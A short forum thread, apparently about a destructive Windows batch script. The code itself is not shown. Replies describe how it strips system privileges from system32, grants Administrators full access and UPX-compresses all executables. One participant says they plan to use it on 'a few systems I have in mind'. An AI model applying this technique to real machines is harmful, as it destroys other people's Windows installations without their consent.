Interesting.
Are you saying It will also damage the recovery partition?

No. The code will damage the current Windows install.

I thought as much when looking at the code Itself.
Thanks for confirming It.

The code removes system privileges to c:\windows\system32 and grant full access to Administrators.
The last line will upx all exes. (You need to have upx.exe on the same folder as this batch).

Such a simple code, yet very effective.
I'm going to have a lot of fun with It on a few systems I have In mind.
